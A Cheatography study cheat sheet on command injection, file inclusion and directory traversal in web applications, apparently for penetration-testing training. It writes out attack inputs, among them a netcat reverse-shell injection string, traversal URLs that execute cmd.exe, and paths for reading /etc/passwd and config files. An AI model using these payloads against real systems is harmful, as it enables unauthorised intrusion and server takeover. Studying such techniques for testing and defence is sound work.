Cheatography

Command Inj, LFI/RFI, and Directory Traversal Cheat Sheet

by binca via cheatography.com/44948/cs/13340/

Definition and Purpose

Enables inputting of OS commands through the web app

Types of commands geared to **Local Results** and **Remote Results**

Commands can be picked based on OS determined during mapping

Command injection provides control of server running with privileges of web apps.

Discovering Command Injection

Focus on resources that appear to be used on the system:
- New accounts require directory
- App accepting username parameter
- Runs mkdir username

Useful characteristics: & , && , || , < , > , ; , |

Command Injection Results

Visible Results	Results returned to the browser. Directory listing ; ls /etc
Blind Results	Nothing displayed in browser. Ping yourself, run a sniffer and look for ICMP echo requests.

The id command is handy because it shows privileges (uid, gid, and group memebership) of current user it is a small command that is widely available and usually in a default path /usr/bin/id.

Open a Reverse Shell with Command Injection

In Terminal run: nc -lvvnp 1337

Injectable location: [valid entry]; nc [web server] 1337 -e /bin/bash

Book 3 pages 55-56 for other methods

Local and Remote File Inclusion

Local File Inclusion	Read files from the server (Information Disclosure)
Remote File Inclusion	Retrieve files from a remote server. Potential for code execution since the contents of a file is used by app.

File inclusion flaws can retrieve LFI or RFI from the perspective of the app.

Directory Traversal

Vulnerability that enables an attacker to leave web root.

Can then run and, load files from "protected" areas through file inclusion.

Sometimes it only requires enough "../../../../../" to escape, others require encoding such as Unicode.

Note: IIS was vulnerable several times and the solution included tracking "/", but this was defeated by encoding in Unicode because decoding occurred after directory constraints enforced.

Command Injection: Traditional Example

Leaves web root allowing access to files on system including program execution.
Example:
http://someURL/scripts/../../../windows/system32/cmd.exe+/c+dir
This runs cmd.exe and retrieves directory listing, must start in scripts directory due to default restriction that executable code must run from there.
May use encoding to bypass controls.

Note: Patches are available for all servers known to be vulnerable.

Command Inj: Application Example

Many apps load files such as templates, configs and data.

Focus on parameters used to load files http://url/index.php?templ=../-include/config.inc

App fails to verify format and function, nor does it filters enabling an attacker to append commands after the = sign.

Not always immediately identifiable, ma be hidden field.

Any code accessing files in the server file system may be vulnerable.

Testing for Directory Traversal and File Inclusion

Most important thing is where in the "current working directory" you are when executing scripts/apps.

If found, enter paths based on OS detection during mapping.
/etc/passwd = usernames in UNIX
/global.asax = App config on IIS
\docume-1\user\mydocu~1 = User directory on Windows 8.3
\windows\system32\cmd.exe = execute commands on Windows

Note: /var/www or /var/www/html are often web root on Debian-Linux systems with Apache.
/home/username/public_html/ is the location of users with their own web root
/usr/lib/cgi-bin is a common directory for CGI scripts